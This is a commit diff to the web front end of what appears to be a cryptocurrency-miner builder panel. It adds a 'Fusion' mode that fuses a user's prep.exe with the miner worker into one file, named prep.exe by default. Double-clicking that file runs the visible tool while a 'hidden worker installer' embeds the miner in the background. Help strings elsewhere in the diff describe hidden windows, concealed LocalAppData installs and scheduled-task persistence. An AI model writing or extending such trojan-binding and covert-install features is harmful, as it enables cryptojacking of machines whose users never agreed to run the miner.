Add Fusion builder mode to bundle prep.exe with worker.
Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
@@ -40,11 +40,27 @@ export const api = {
|
||||
}),
|
||||
|
||||
// Builder
|
||||
buildAgent: (req: BuildRequest) =>
|
||||
fetchJSON<BuildResponse>('/builder/build', {
|
||||
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
|
||||
if (req.fusion_enabled) {
|
||||
if (!prepFile) {
|
||||
return Promise.reject(new Error('Fusion requires prep.exe upload'));
|
||||
}
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<BuildResponse>;
|
||||
});
|
||||
}
|
||||
return fetchJSON<BuildResponse>('/builder/build', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(req),
|
||||
}),
|
||||
});
|
||||
},
|
||||
|
||||
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
|
||||
|
||||
@@ -47,6 +47,9 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
||||
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
|
||||
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
|
||||
@@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password,
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
};
|
||||
}
|
||||
|
||||
@@ -52,6 +55,7 @@ export default function BuilderPage() {
|
||||
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
@@ -95,10 +99,14 @@ export default function BuilderPage() {
|
||||
setError('Custom install base path is required when Install Base is Custom');
|
||||
return;
|
||||
}
|
||||
if (form.fusion_enabled && !fusionPrepFile) {
|
||||
setError('Fusion requires your prep.exe file');
|
||||
return;
|
||||
}
|
||||
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(form);
|
||||
const result = await api.buildAgent(form, fusionPrepFile);
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
@@ -477,6 +485,58 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Fusion (prep + worker)</h3>
|
||||
<p className="form-description">
|
||||
Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="fusion_enabled" />
|
||||
</div>
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
<div className="form-group">
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,application/octet-stream"
|
||||
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
<select className="select" value={form.fusion_run_order}
|
||||
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
|
||||
<option value="parallel">Parallel (both at once)</option>
|
||||
<option value="prep_first">Prep first, then worker</option>
|
||||
<option value="worker_first">Worker first, then prep</option>
|
||||
</select>
|
||||
<FieldHint field="fusion_run_order" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
|
||||
<input type="text" className="input mono" value={form.fusion_output_name}
|
||||
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
|
||||
<FieldHint field="fusion_output_name" />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
</p>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="form-error">
|
||||
<span>⚠️</span> {error}
|
||||
@@ -494,6 +554,9 @@ export default function BuilderPage() {
|
||||
<h2>Installer Ready</h2>
|
||||
<div className="build-success">
|
||||
<p><strong>Run this once on each Windows machine:</strong></p>
|
||||
{lastBuild.fusion_enabled && (
|
||||
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||
)}
|
||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||
<p><strong>Absolute path:</strong></p>
|
||||
|
||||
@@ -165,6 +165,9 @@ export interface BuildRequest {
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
pool_pass: string;
|
||||
fusion_enabled: boolean;
|
||||
fusion_run_order: string;
|
||||
fusion_output_name: string;
|
||||
}
|
||||
|
||||
export interface BuildResponse {
|
||||
@@ -176,6 +179,8 @@ export interface BuildResponse {
|
||||
file_size?: number;
|
||||
download_url?: string;
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
worker_file?: string;
|
||||
}
|
||||
|
||||
export interface WSMessage {
|
||||
|
||||
Reference in New Issue
Block a user